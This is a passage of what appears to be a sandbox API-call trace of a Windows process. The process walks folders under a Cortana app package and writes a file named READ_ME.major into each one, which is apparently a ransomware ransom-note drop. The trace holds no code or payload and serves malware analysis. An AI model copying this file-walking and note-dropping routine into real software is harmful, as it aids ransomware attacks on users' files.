ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657100 | out: hHeap=0x570000) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653250 | out: hHeap=0x570000) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0181.436] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21d6c62f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e0b8 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6586e0 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0181.436] GetLastError () returned 0x12 [0181.436] SetLastError (dwErrCode=0x12) [0181.436] GetLastError () returned 0x12 [0181.437] SetLastError (dwErrCode=0x12) [0181.437] GetLastError () returned 0x12 [0181.437] SetLastError (dwErrCode=0x12) [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e778 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e778 | out: hHeap=0x570000) returned 1 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0181.437] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21d6c62f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6586e0 | out: hHeap=0x570000) returned 1 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657a60 [0181.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.437] GetLastError () returned 0x12 [0181.437] SetLastError (dwErrCode=0x12) [0181.437] GetLastError () returned 0x12 [0181.437] SetLastError (dwErrCode=0x12) [0181.437] GetLastError () returned 0x12 [0181.437] SetLastError (dwErrCode=0x12) [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0181.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e778 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e778 | out: hHeap=0x570000) returned 1 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0181.438] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657a60 | out: hHeap=0x570000) returned 1 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657bf0 [0181.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.438] GetLastError () returned 0x12 [0181.438] SetLastError (dwErrCode=0x12) [0181.438] GetLastError () returned 0x12 [0181.438] SetLastError (dwErrCode=0x12) [0181.438] GetLastError () returned 0x12 [0181.438] SetLastError (dwErrCode=0x12) [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655f78 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655a38 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0181.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0181.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6575b0 [0181.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0181.439] GetLastError () returned 0x12 [0181.439] SetLastError (dwErrCode=0x12) [0181.439] GetLastError () returned 0x12 [0181.439] SetLastError (dwErrCode=0x12) [0181.439] GetLastError () returned 0x12 [0181.439] SetLastError (dwErrCode=0x12) [0181.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d1df8 [0181.439] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1df8 | out: hHeap=0x570000) returned 1 [0181.488] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.489] CloseHandle (hObject=0x844) returned 1 [0181.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6575b0 | out: hHeap=0x570000) returned 1 [0181.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0181.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0181.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0181.489] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0181.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657bf0 | out: hHeap=0x570000) returned 1 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657cb8 [0181.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.490] GetLastError () returned 0x0 [0181.490] SetLastError (dwErrCode=0x0) [0181.490] GetLastError () returned 0x0 [0181.490] SetLastError (dwErrCode=0x0) [0181.490] GetLastError () returned 0x0 [0181.490] SetLastError (dwErrCode=0x0) [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x656020 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655a38 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0181.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0181.490] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658938 [0181.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0181.490] GetLastError () returned 0x0 [0181.491] SetLastError (dwErrCode=0x0) [0181.491] GetLastError () returned 0x0 [0181.491] SetLastError (dwErrCode=0x0) [0181.491] GetLastError () returned 0x0 [0181.491] SetLastError (dwErrCode=0x0) [0181.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658488 [0181.491] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658488 | out: hHeap=0x570000) returned 1 [0181.491] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.492] CloseHandle (hObject=0x844) returned 1 [0181.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658938 | out: hHeap=0x570000) returned 1 [0181.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0181.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0181.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0181.492] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657cb8 | out: hHeap=0x570000) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657808 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.493] GetLastError () returned 0x0 [0181.493] SetLastError (dwErrCode=0x0) [0181.493] GetLastError () returned 0x0 [0181.493] SetLastError (dwErrCode=0x0) [0181.493] GetLastError () returned 0x0 [0181.493] SetLastError (dwErrCode=0x0) [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d1f68 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d19a8 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657100 [0181.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0181.493] GetLastError () returned 0x0 [0181.494] SetLastError (dwErrCode=0x0) [0181.494] GetLastError () returned 0x0 [0181.494] SetLastError (dwErrCode=0x0) [0181.494] GetLastError () returned 0x0 [0181.494] SetLastError (dwErrCode=0x0) [0181.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657358 [0181.494] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657358 | out: hHeap=0x570000) returned 1 [0181.495] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.496] CloseHandle (hObject=0x844) returned 1 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657100 | out: hHeap=0x570000) returned 1 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d19a8 | out: hHeap=0x570000) returned 1 [0181.496] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8306d465, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8306d465, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657808 | out: hHeap=0x570000) returned 1 [0181.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658550 [0181.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0181.496] GetLastError () returned 0x0 [0181.496] SetLastError (dwErrCode=0x0) [0181.496] GetLastError () returned 0x0 [0181.497] SetLastError (dwErrCode=0x0) [0181.497] GetLastError () returned 0x0 [0181.497] SetLastError (dwErrCode=0x0) [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0181.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0181.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d2248 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5d2300 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658938 [0181.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.497] GetLastError () returned 0x0 [0181.497] SetLastError (dwErrCode=0x0) [0181.497] GetLastError () returned 0x0 [0181.497] SetLastError (dwErrCode=0x0) [0181.497] GetLastError () returned 0x0 [0181.497] SetLastError (dwErrCode=0x0) [0181.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657d80 [0181.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0181.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657d80 | out: hHeap=0x570000) returned 1 [0181.498] WriteFile (in: hFile=0x844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.499] CloseHandle (hObject=0x844) returned 1 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658938 | out: hHeap=0x570000) returned 1 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2300 | out: hHeap=0x570000) returned 1 [0181.499] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21d6c62f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21d6c62f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21d6c62f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658550 | out: hHeap=0x570000) returned 1 [0181.499] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.499] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.499] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657358 [0181.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.499] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0181.500] FindNextFileW (in: hFindFile=0x58e0b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657358 | out: hHeap=0x570000) returned 1 [0181.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.500] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] GetLastError () returned 0x0 [0181.500] SetLastError (dwErrCode=0x0) [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.500] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0181.500] GetLastError () returned 0x0 [0181.501] SetLastError (dwErrCode=0x0) [0181.501] GetLastError () returned 0x0 [0181.501] SetLastError (dwErrCode=0x0) [0181.501] GetLastError 